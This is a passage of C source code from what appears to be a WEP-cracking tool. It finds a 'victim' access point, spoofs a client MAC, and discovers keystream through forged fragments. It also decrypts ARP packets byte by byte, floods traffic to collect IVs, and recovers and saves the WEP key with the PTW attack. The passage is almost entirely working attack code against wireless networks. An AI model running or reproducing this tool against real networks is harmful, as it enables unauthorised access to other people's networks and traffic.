1195	ptr += sizeof(arp_clear) -1;
1196
1197	h = (struct arphdr*)ptr;
1198	h->ar_hrd = htons(ARPHRD_ETHER);
1199        h->ar_pro = htons(ETHERTYPE_IP);
1200        h->ar_hln = 6;
1201        h->ar_pln = 4;
1202        h->ar_op = htons(ARPOP_REQUEST);
1203	ptr += sizeof(*h);
1204
1205	memcpy(ptr, wh->i_addr3, 6);
1206
1207	bodylen = rd - sizeof(*wh) - 4 - 4;
1208	decryptstate.clen = bodylen;
1209	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1210	if (!decryptstate.cipher) {
1211		perror("malloc()");
1212		exit(1);
1213	}
1214	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1215	if (!decryptstate.prgainfo.prga) {
1216		perror("malloc()");
1217		exit(1);
1218	}
1219
1220
1221	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1222	memcpy(decryptstate.prgainfo.iv, body, 3);
1223
1224	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1225	for(i = 0; i < (8+8+6); i++) {
1226		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1227						clear[i];
1228	}
1229
1230	decryptstate.prgainfo.len = i;
1231	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1232}
1233
1234void log_wep(struct ieee80211_frame* wh, int len) {
1235	int rd;
1236	struct pcap_pkthdr pkh;
1237	struct timeval tv;
1238	unsigned char *body = (unsigned char*) (wh+1);
1239
1240	memset(&pkh, 0, sizeof(pkh));
1241	pkh.caplen = pkh.len = len;
1242	if (gettimeofday(&tv, NULL) == -1)
1243		err(1, "gettimeofday()");
1244	pkh.ts = tv;
1245	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1246		err(1, "write()");
1247
1248	rd = write(weplog.fd, wh, len);
1249
1250	if (rd == -1) {
1251		perror("write()");
1252		exit(1);
1253	}
1254	if (rd != len) {
1255		time_print("short write %d out of %d\n", rd, len);
1256		exit(1);
1257	}
1258
1259#if 0
1260	if (fsync(weplog.fd) == -1) {
1261		perror("fsync()");
1262		exit(1);
1263	}
1264#endif
1265
1266	memcpy(weplog.iv, body, 3);
1267	weplog.packets++;
1268}
1269
1270void try_dictionary(struct ieee80211_frame* wh, int len) {
1271	unsigned char *body;
1272	char path[52];
1273	char paths[3][3];
1274	int i;
1275	int fd, rd;
1276	unsigned char packet[4096];
1277	int dlen;
1278	struct ether_header* eh;
1279	uLong crc;
1280	unsigned long *pcrc;
1281	unsigned char* dmac, *smac;
1282
1283	assert (len < sizeof(packet) + sizeof(*eh));
1284
1285	body = (unsigned char*) wh + sizeof(*wh);
1286
1287	for (i = 0; i < 3; i++)
1288		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1289
1290	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1291
1292	fd = open(path, O_RDONLY);
1293	if (fd == -1)
1294		return;
1295
1296	rd = read(fd, &packet[6], sizeof(packet)-6);
1297	if (rd == -1) {
1298		perror("read()");
1299		exit(1);
1300	}
1301	close(fd);
1302
1303
1304	dlen = len - sizeof(*wh) - 4;
1305	if (dlen > rd) {
1306		printf("\n");
1307		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1308		dlen);
1309		return;
1310	}
1311
1312	body += 4;
1313	for (i = 0; i < dlen; i++)
1314		packet[6+i] ^= body[i];
1315
1316	dlen -= 4;
1317	crc = crc32(0L, Z_NULL, 0);
1318	crc = crc32(crc, &packet[6], dlen);
1319	pcrc = (unsigned long*) (&packet[6+dlen]);
1320
1321	if (*pcrc != crc) {
1322		printf("\n");
1323		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1324			   path, *pcrc, crc);
1325		return;
1326	}
1327
1328	// fill ethernet header
1329	eh = (struct ether_header*) packet;
1330	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1331		smac = wh->i_addr3;
1332	else
1333		smac = wh->i_addr2;
1334
1335	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1336		dmac = wh->i_addr3;
1337	else
1338		dmac = wh->i_addr1;
1339
1340	memcpy(eh->ether_dhost, dmac, 6);
1341	memcpy(eh->ether_shost, smac, 6);
1342	// ether type should be there from llc
1343
1344	dlen -= 8; // llc
1345	dlen += sizeof(*eh);
1346
1347#if 0
1348	printf("\n");
1349	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1350	hexdump(packet, dlen);
1351#endif
1352
1353	rd = write(tapfd, packet, dlen);
1354	if (rd == -1) {
1355		perror("write()");
1356		exit(1);
1357	}
1358	if (rd != dlen) {
1359		printf("Wrote %d / %d\n", rd, dlen);
1360		exit(1);
1361	}
1362}
1363
1364int is_arp(struct ieee80211_frame *wh, int len)
1365{
1366        int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1367
1368        if (len == arpsize || len == 54)
1369                return 1;
1370
1371        return 0;
1372}
1373
1374void *get_sa(struct ieee80211_frame *wh)
1375{
1376        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1377                return wh->i_addr3;
1378        else
1379                return wh->i_addr2;
1380}
1381
1382void *get_da(struct ieee80211_frame *wh)
1383{
1384        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1385                return wh->i_addr1;
1386        else
1387                return wh->i_addr3;
1388}
1389
1390int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1391{
1392        unsigned char *ptr = clear;
1393
1394        /* IP */
1395        if (!is_arp(wh, len)) {
1396                unsigned short iplen = htons(len - 8);
1397
1398//                printf("Assuming IP %d\n", len);
1399
1400                len = sizeof(S_LLC_SNAP_IP) - 1;
1401                memcpy(ptr, S_LLC_SNAP_IP, len);
1402                ptr += len;
1403#if 1
1404                len = 2;
1405                memcpy(ptr, "\x45\x00", len);
1406                ptr += len;
1407
1408                memcpy(ptr, &iplen, len);
1409                ptr += len;
1410#endif
1411                len = ptr - ((unsigned char*)clear);
1412                return len;
1413        }
1414//        printf("Assuming ARP %d\n", len);
1415
1416        /* arp */
1417        len = sizeof(S_LLC_SNAP_ARP) - 1;
1418        memcpy(ptr, S_LLC_SNAP_ARP, len);
1419        ptr += len;
1420
1421        /* arp hdr */
1422        len = 6;
1423        memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1424        ptr += len;
1425
1426        /* type of arp */
1427        len = 2;
1428        if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1429                memcpy(ptr, "\x00\x01", len);
1430        else
1431                memcpy(ptr, "\x00\x02", len);
1432        ptr += len;
1433
1434        /* src mac */
1435        len = 6;
1436        memcpy(ptr, get_sa(wh), len);
1437        ptr += len;
1438
1439        len = ptr - ((unsigned char*)clear);
1440        return len;
1441}
1442
1443void add_keystream(struct ieee80211_frame* wh, int rd)
1444{
1445	unsigned char clear[1024];
1446	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1447	int clearsize;
1448	unsigned char *body = (unsigned char*) (wh+1);
1449	int i;
1450
1451	clearsize = known_clear(clear, wh, dlen);
1452	if (clearsize < 16)
1453		return;
1454
1455	for (i = 0; i < 16; i++)
1456		clear[i] ^= body[4+i];
1457
1458	PTW_addsession(ptw, body, clear);
1459}
1460
1461void got_wep(struct ieee80211_frame* wh, int rd) {
1462	int bodylen;
1463	int dlen;
1464	unsigned char clear[1024];
1465	int clearsize;
1466	unsigned char *body;
1467
1468	bodylen = rd - sizeof(struct ieee80211_frame);
1469
1470	dlen = bodylen - 4 - 4;
1471	body = (unsigned char*) wh + sizeof(*wh);
1472
1473
1474	// log it if its stuff not from us...
1475	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1476	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1477	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1478
1479		if (body[3] != 0) {
1480			time_print("Key index=%x!!\n", body[3]);
1481			exit(1);
1482		}
1483		log_wep(wh, rd);
1484		add_keystream(wh, rd);
1485
1486		// try to decrypt too
1487		try_dictionary(wh, rd);
1488	}
1489
1490	// look for arp-request packets... so we can decrypt em
1491	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1492	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1493	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1494	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1495	    !decryptstate.cipher &&
1496	    !netip) {
1497		decrypt_arpreq(wh, rd);
1498	}
1499
1500	// we have prga... check if its our stuff being relayed...
1501	if (prgainfo.len != 0) {
1502		// looks like it...
1503		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1504		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1505		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1506		    dlen == fragstate.len) {
1507
1508//			printf("I fink AP relayed it...\n");
1509			set_prga(body, &body[4], fragstate.data, dlen);
1510			free(fragstate.data);
1511			fragstate.data = 0;
1512			fragstate.waiting_relay = 0;
1513		}
1514
1515		// see if we get the multicast stuff of when decrypting
1516		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1517		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1518		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1519		    dlen == 36) {
1520
1521			unsigned char pr = wh->i_addr1[5];
1522
1523			printf("\n");
1524			time_print("Got clear-text byte: %d\n",
1525			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1526
1527			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1528			decryptstate.prgainfo.len++;
1529			decryptstate.fragstate.waiting_relay = 1;
1530
1531			// ok we got the ip...
1532			if (decryptstate.prgainfo.len == 26+1) {
1533				unsigned char ip[4];
1534				int i;
1535				struct in_addr *in = (struct in_addr*) ip;
1536				unsigned char *ptr;
1537
1538				for (i = 0; i < 4; i++)
1539					ip[i] = decryptstate.cipher[8+8+6+i] ^
1540						decryptstate.prgainfo.prga[8+8+6+i];
1541
1542				assert(!netip);
1543				netip = (unsigned char*) malloc(16);
1544				if(!netip) {
1545					perror("malloc()");
1546					exit(1);
1547				}
1548
1549				memset(netip, 0, 16);
1550				strcpy(netip, inet_ntoa(*in));
1551
1552				time_print("Got IP=(%s)\n", netip);
1553				strcpy(myip, netip);
1554
1555				ptr = strchr(myip, '.');
1556				assert(ptr);
1557				ptr = strchr(ptr+1, '.');
1558				assert(ptr);
1559				ptr = strchr(ptr+1, '.');
1560				assert(ptr);
1561				strcpy(ptr+1,"123");
1562
1563				time_print("My IP=(%s)\n", myip);
1564
1565
1566				free(decryptstate.prgainfo.prga);
1567				free(decryptstate.cipher);
1568				memset(&decryptstate, 0, sizeof(decryptstate));
1569			}
1570		}
1571		return;
1572	}
1573
1574	clearsize = known_clear(clear, wh, dlen);
1575	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1576
1577	set_prga(body, &body[4], clear, clearsize);
1578}
1579
1580void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1581	int type,stype;
1582
1583	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1584	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1585
1586	if (type == IEEE80211_FC0_TYPE_DATA &&
1587	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1588		int dlen = rd - sizeof(struct ieee80211_frame);
1589
1590		if (state == SPOOF_MAC) {
1591			unsigned char mac[6];
1592			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1593				memcpy(mac, wh->i_addr3, 6);
1594			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1595				memcpy(mac, wh->i_addr1, 6);
1596			} else assert(0);
1597
1598			if (mac[0] == 0xff || mac[0] == 0x1)
1599				return;
1600
1601			memcpy(mymac, mac, 6);
1602			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1603			state = FOUND_VICTIM;
1604			return;
1605		}
1606
1607		// wep data!
1608		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1609			got_wep(wh, rd);
1610		}
1611	}
1612}
1613
1614void anal(unsigned char* buf, int rd, int tx) { // yze
1615	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1616	int type,stype;
1617	static int lastseq = -1;
1618	int seq;
1619	unsigned short *seqptr;
1620	int for_us = 0;
1621
1622	if (rd < 1) {
1623		time_print("rd=%d\n", rd);
1624		exit(1);
1625	}
1626
1627	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1628	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1629
1630	// sort out acks
1631	if (state >= FOUND_VICTIM) {
1632		// stuff for us
1633		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1634			for_us = 1;
1635			if (type != IEEE80211_FC0_TYPE_CTL)
1636				send_ack(tx);
1637		}
1638	}
1639
1640	// XXX i know it aint great...
1641	seqptr = (unsigned short*)  wh->i_seq;
1642	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1643	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1644	    type != IEEE80211_FC0_TYPE_CTL) {
1645//		printf("Ignoring dup packet... seq=%d\n", seq);
1646		return;
1647	}
1648	lastseq = seq;
1649
1650	// management frame
1651	if (type == IEEE80211_FC0_TYPE_MGT) {
1652		if(state == FIND_VICTIM) {
1653			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1654			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1655
1656			    	if (get_victim_ssid(wh, rd)) {
1657			    		return;
1658				}
1659			}
1660
1661		}
1662	}
1663
1664	if (state >= FOUND_VICTIM) {
1665		// stuff for us
1666		if (for_us) {
1667			stuff_for_us(wh, rd);
1668		}
1669
1670		// stuff in network [even for us]
1671		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1672			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1673
1674			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1675			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1676			   ) {
1677			stuff_for_net(wh, rd);
1678		}
1679	}
1680}
1681
1682void do_arp(unsigned char* buf, unsigned short op,
1683	    unsigned char* m1, unsigned char* i1,
1684	    unsigned char* m2, unsigned char* i2) {
1685
1686        struct in_addr sip;
1687        struct in_addr dip;
1688	struct arphdr* h;
1689	unsigned char* data;
1690
1691        inet_aton(i1, &sip);
1692        inet_aton(i2, &dip);
1693	h = (struct arphdr*) buf;
1694
1695	memset(h, 0, sizeof(*h));
1696
1697	h->ar_hrd = htons(ARPHRD_ETHER);
1698        h->ar_pro = htons(ETHERTYPE_IP);
1699        h->ar_hln = 6;
1700        h->ar_pln = 4;
1701        h->ar_op = htons(op);
1702
1703	data = (unsigned char*) h + sizeof(*h);
1704
1705	memcpy(data, m1, 6);
1706	data += 6;
1707	memcpy(data, &sip, 4);
1708	data += 4;
1709
1710	memcpy(data, m2, 6);
1711	data += 6;
1712	memcpy(data, &dip, 4);
1713	data += 4;
1714}
1715
1716void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1717	unsigned char buf[4096];
1718	struct ieee80211_frame* wh;
1719	unsigned char* body;
1720	int fragsize;
1721	uLong crc;
1722	unsigned long *pcrc;
1723	int i;
1724	unsigned short* seq;
1725	unsigned short sn, fn;
1726
1727	wh = (struct ieee80211_frame*) buf;
1728	memcpy(wh, &fs->wh, sizeof(*wh));
1729
1730	body = (unsigned char*) wh + sizeof(*wh);
1731	memcpy(body, &pi->iv, 3);
1732	body += 3;
1733	*body++ = 0; // key index
1734
1735	fragsize = fs->data + fs->len - fs->ptr;
1736
1737	assert(fragsize > 0);
1738
1739	if ( (fragsize + 4) > pi->len) {
1740		fragsize = pi->len  - 4;
1741		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1742	}
1743	// last fragment
1744	else {
1745		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1746	}
1747
1748	memcpy(body, fs->ptr, fragsize);
1749
1750	crc = crc32(0L, Z_NULL, 0);
1751	crc = crc32(crc, body, fragsize);
1752	pcrc = (unsigned long*) (body+fragsize);
1753	*pcrc = crc;
1754
1755	for (i = 0; i < (fragsize + 4); i++)
1756		body[i] ^= pi->prga[i];
1757
1758	seq = (unsigned short*) &wh->i_seq;
1759	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1760	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1761//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1762
1763	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1764
1765	seq = (unsigned short*) &fs->wh.i_seq;
1766	*seq = fnseq(++fn, sn);
1767	fs->ptr += fragsize;
1768
1769	if (fs->ptr - fs->data == fs->len) {
1770//		printf("Finished sending frags...\n");
1771		fs->waiting_relay = 1;
1772	}
1773}
1774
1775void prepare_fragstate(struct frag_state* fs, int pad) {
1776	fs->waiting_relay = 0;
1777	fs->len = 8 + 8 + 20 + pad;
1778	fs->data = (unsigned char*) malloc(fs->len);
1779
1780	if(!fs->data) {
1781		perror("malloc()");
1782		exit(1);
1783	}
1784
1785	fs->ptr = fs->data;
1786
1787	do_llc(fs->data, ETHERTYPE_ARP);
1788	do_arp(&fs->data[8], ARPOP_REQUEST,
1789	       mymac, myip,
1790	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1791
1792	memset(&fs->wh, 0, sizeof(fs->wh));
1793	fill_basic(&fs->wh);
1794
1795	memset(fs->wh.i_addr3, 0xff, 6);
1796	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1797	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1798				IEEE80211_FC1_MORE_FRAG |
1799				IEEE80211_FC1_WEP;
1800
1801	memset(&fs->data[8+8+20], 0, pad);
1802}
1803
1804void discover_prga(int tx) {
1805
1806	// create packet...
1807	if (!fragstate.data) {
1808		int pad = 0;
1809
1810		if (prgainfo.len >= 20)
1811			pad = prgainfo.len*3;
1812
1813		prepare_fragstate(&fragstate, pad);
1814	}
1815
1816	if (!fragstate.waiting_relay) {
1817		send_fragment(tx, &fragstate, &prgainfo);
1818		if (fragstate.waiting_relay) {
1819			if (gettimeofday(&fragstate.last, NULL) == -1)
1820				err(1, "gettimeofday()");
1821		}
1822	}
1823}
1824
1825void decrypt(int tx) {
1826
1827	// gotta initiate
1828	if (!decryptstate.fragstate.data) {
1829		prepare_fragstate(&decryptstate.fragstate, 0);
1830
1831		memcpy(decryptstate.fragstate.wh.i_addr3,
1832		       MCAST_PREF, 5);
1833
1834		decryptstate.fragstate.wh.i_addr3[5] =
1835		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1836
1837		decryptstate.prgainfo.len++;
1838	}
1839
1840	// guess diff prga byte...
1841	if (decryptstate.fragstate.waiting_relay) {
1842		unsigned short* seq;
1843		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1844
1845#if 0
1846		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1847			printf("Can't decrpyt!\n");
1848			exit(1);
1849		}
1850#endif
1851		decryptstate.fragstate.wh.i_addr3[5] =
1852		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1853
1854		decryptstate.fragstate.waiting_relay = 0;
1855		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1856
1857		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1858		*seq = fnseq(0, txstate.psent);
1859	}
1860
1861	send_fragment(tx, &decryptstate.fragstate,
1862		      &decryptstate.prgainfo);
1863}
1864
1865void flood_inet(tx) {
1866	static int send_arp = -1;
1867	static unsigned char arp_pkt[128];
1868	static int arp_len;
1869	static unsigned char udp_pkt[128];
1870	static int udp_len;
1871	static struct timeval last_ip;
1872
1873	// need to init packets...
1874	if (send_arp == -1) {
1875		unsigned char* body;
1876		unsigned char* ptr;
1877		struct ieee80211_frame* wh;
1878		struct ip* ih;
1879		struct udphdr* uh;
1880
1881		memset(arp_pkt, 0, sizeof(arp_pkt));
1882		memset(udp_pkt, 0, sizeof(udp_pkt));
1883
1884		// construct ARP
1885		wh = (struct ieee80211_frame*) arp_pkt;
1886		fill_basic(wh);
1887
1888		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1889		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1890		memset(wh->i_addr3, 0xff, 6);
1891
1892		body = (unsigned char*) wh + sizeof(*wh);
1893		ptr = body;
1894		ptr += 4; // iv
1895
1896		do_llc(ptr, ETHERTYPE_ARP);
1897		ptr += 8;
1898		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1899		       "\x00\x00\x00\x00\x00\x00", netip);
1900
1901		wepify(body, 8+8+20);
1902		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1903		assert(arp_len < sizeof(arp_pkt));
1904
1905
1906		// construct UDP
1907		wh = (struct ieee80211_frame*) udp_pkt;
1908		fill_basic(wh);
1909
1910		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1911		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1912		memcpy(wh->i_addr3, rtrmac, 6);
1913
1914		body = (unsigned char*) wh + sizeof(*wh);
1915		ptr = body;
1916		ptr += 4; // iv
1917
1918		do_llc(ptr, ETHERTYPE_IP);
1919		ptr += 8;
1920
1921		ih = (struct ip*) ptr;
1922		ih->ip_hl = 5;
1923		ih->ip_v = 4;
1924		ih->ip_tos = 0;
1925		ih->ip_len = htons(20+8+5);
1926		ih->ip_id = htons(666);
1927		ih->ip_off = 0;
1928		ih->ip_ttl = 128;
1929		ih->ip_p = IPPROTO_UDP;
1930		ih->ip_sum = 0;
1931
1932		inet_aton(myip, &ih->ip_src);
1933		inet_aton(floodip, &ih->ip_dst);
1934
1935		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1936
1937		ptr += 20;
1938		uh = (struct udphdr*) ptr;
1939		uh->uh_sport = htons(floodsport);
1940		uh->uh_dport = htons(floodport);
1941		uh->uh_ulen = htons(8+5);
1942		uh->uh_sum = 0;
1943
1944		ptr += 8;
1945		strcpy(ptr, "sorbo");
1946
1947		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1948					  &ih->ip_dst);
1949
1950		wepify(body, 8+20+8+5);
1951		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1952		assert(udp_len < sizeof(udp_pkt));
1953
1954		// bootstrap
1955		send_arp = 1;
1956
1957		memset(&last_ip, 0, sizeof(last_ip));
1958	}
1959
1960	if (send_arp == 1) {
1961		struct timeval now;
1962		unsigned long sec;
1963
1964		if (gettimeofday(&now, NULL) == -1) {
1965			perror("gettimeofday()");
1966			exit(1);
1967		}
1968
1969		sec = now.tv_sec - last_ip.tv_sec;
1970
1971		if (sec < 5)
1972			return;
1973
1974		send_frame(tx, arp_pkt, arp_len);
1975		send_arp = 0;
1976	}
1977
1978	else if (send_arp == 0) {
1979		if (gettimeofday(&last_ip, NULL) == -1) {
1980			perror("gettimeofday()");
1981			exit(1);
1982		}
1983
1984		send_frame(tx, udp_pkt, udp_len);
1985		send_arp = 1;
1986	} else assert(0);
1987}
1988
1989void send_arp(int tx, unsigned short op, unsigned char* srcip,
1990	      unsigned char* srcmac, unsigned char* dstip,
1991	      unsigned char* dstmac) {
1992
1993	static unsigned char arp_pkt[128];
1994	unsigned char* body;
1995	unsigned char* ptr;
1996	struct ieee80211_frame* wh;
1997	int arp_len;
1998
1999	memset(arp_pkt, 0, sizeof(arp_pkt));
2000
2001	// construct ARP
2002	wh = (struct ieee80211_frame*) arp_pkt;
2003	fill_basic(wh);
2004
2005	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2006	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2007	memset(wh->i_addr3, 0xff, 6);
2008
2009	body = (unsigned char*) wh + sizeof(*wh);
2010	ptr = body;
2011	ptr += 4; // iv
2012
2013	do_llc(ptr, ETHERTYPE_ARP);
2014	ptr += 8;
2015	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
2016
2017	wepify(body, 8+8+20);
2018	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
2019	assert(arp_len < sizeof(arp_pkt));
2020
2021	send_frame(tx, arp_pkt, arp_len);
2022}
2023
2024void can_write(int tx) {
2025	static char arp_ip[16];
2026
2027	switch (state) {
2028		case FOUND_VICTIM:
2029			send_auth(tx);
2030			state = SENDING_AUTH;
2031			break;
2032
2033		case GOT_AUTH:
2034			send_assoc(tx);
2035			state = SENDING_ASSOC;
2036			break;
2037
2038		case GOT_ASSOC:
2039			if (prgainfo.prga && prgainfo.len < min_prga) {
2040				discover_prga(tx);
2041				break;
2042			}
2043
2044			if (decryptstate.cipher) {
2045				decrypt(tx);
2046				break;
2047			}
2048
2049			if (!prgainfo.prga)
2050				break;
2051
2052			if (taptx_len) {
2053				send_frame(tx, taptx, taptx_len);
2054				taptx_len = 0;
2055				break;
2056			}
2057
2058			// try to find rtr mac addr
2059			if (netip && !rtrmac) {
2060				char* ptr;
2061
2062				strcpy(arp_ip, netip);
2063				if (!netip_arg) {
2064					ptr = strchr(arp_ip, '.');
2065					assert(ptr);
2066					ptr = strchr(++ptr, '.');
2067					assert(ptr);
2068					ptr = strchr(++ptr, '.');
2069					assert(ptr);
2070					strcpy(++ptr, "1");
2071				}
2072
2073				if (gettimeofday(&arpsend, NULL) == -1)
2074					err(1, "gettimeofday()");
2075
2076				time_print("Sending arp request for: %s\n", arp_ip);
2077				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2078					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2079
2080				// XXX lame
2081				rtrmac = (unsigned char*)1;
2082				break;
2083			}
2084
2085			// need to generate traffic...
2086			if (rtrmac > (unsigned char*)1 && netip) {
2087				if (floodip)
2088					flood_inet(tx);
2089				else {
2090					// XXX lame technique... anyway... im
2091					// only interested in flood_inet...
2092
2093					// could ping broadcast....
2094					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2095						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2096				}
2097
2098				break;
2099			}
2100
2101			break;
2102	}
2103}
2104
2105void save_key(unsigned char *key, int len)
2106{
2107	char tmp[16];
2108	char k[32];
2109	int fd;
2110	int rd;
2111
2112	k[0] = 0;
2113	while (len--) {
2114		sprintf(tmp, "%.2X", *key++);
2115		strcat(k, tmp);
2116		if (len)
2117			strcat(k, ":");
2118	}
2119
2120	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2121	if (fd == -1)
2122		err(1, "open()");
2123
2124	printf("\nKey: %s\n", k);
2125	rd = write(fd, k, strlen(k));
2126	if (rd == -1)
2127		err(1, "write()");
2128	if (rd != strlen(k))
2129		errx(1, "write %d/%d\n", rd, strlen(k));
2130	close(fd);
2131}
2132
2133#define KEYLIMIT (1000000)
2134int do_crack(void)
2135{
2136	unsigned char key[PTW_KEYHSBYTES];
2137
2138	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2139		save_key(key, 13);
2140		return 1;
2141	}
2142	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2143		save_key(key, 5);
2144		return 1;
2145	}
2146
2147	return 0;
2148}
2149
2150void try_crack() {
2151	if (crack_pid) {
2152		printf("\n");
2153		time_print("Warning... previous crack still running!\n");
2154		kill_crack();
2155	}
2156
2157	if (weplog.fd) {
2158		if (fsync(weplog.fd) == -1)
2159			err(1, "fsync");
2160	}
2161
2162	crack_pid = fork();
2163
2164	if (crack_pid == -1)
2165		err(1, "fork");
2166
2167	// child
2168	if (crack_pid == 0) {
2169		if (!do_crack())
2170			printf("\nCrack unsuccessful\n");
2171		exit(1);
2172	}
2173
2174	// parent
2175	printf("\n");
2176	time_print("Starting crack PID=%d\n", crack_pid);
2177	if (gettimeofday(&crack_start, NULL) == -1)
2178		err(1, "gettimeofday");
2179
2180
2181	// XXX lame...
2182	if (wep_thresh == 3000000) {
2183		crack_dur *= 10;
2184		thresh_incr *= 10;
2185	}
2186	wep_thresh += thresh_incr;
2187}
2188
2189void open_tap() {
2190	struct stat st;
2191	int s;
2192	struct ifreq ifr;
2193	unsigned int flags;
2194
2195	tapfd = open(TAP_DEV, O_RDWR);
2196	if (tapfd == -1) {
2197		printf("Can't open tap: %s\n", strerror(errno));
2198		exit(1);
2199	}
2200	if(fstat(tapfd, &st) == -1) {
2201		perror("fstat()");
2202		exit(1);
2203	}
2204
2205	// feer
2206	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2207
2208	s = socket(PF_INET, SOCK_DGRAM, 0);
2209	if (s == -1) {
2210		perror("socket()");
2211		exit(1);
2212	}
2213
2214	// MTU
2215	memset(&ifr, 0, sizeof(ifr));
2216	strcpy(ifr.ifr_name, tapdev);
2217	ifr.ifr_mtu = 1500;
2218	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2219		perror("ioctl(SIOCSIFMTU)");
2220		exit(1);
2221	}
2222
2223	// set iface up
2224	memset(&ifr, 0, sizeof(ifr));
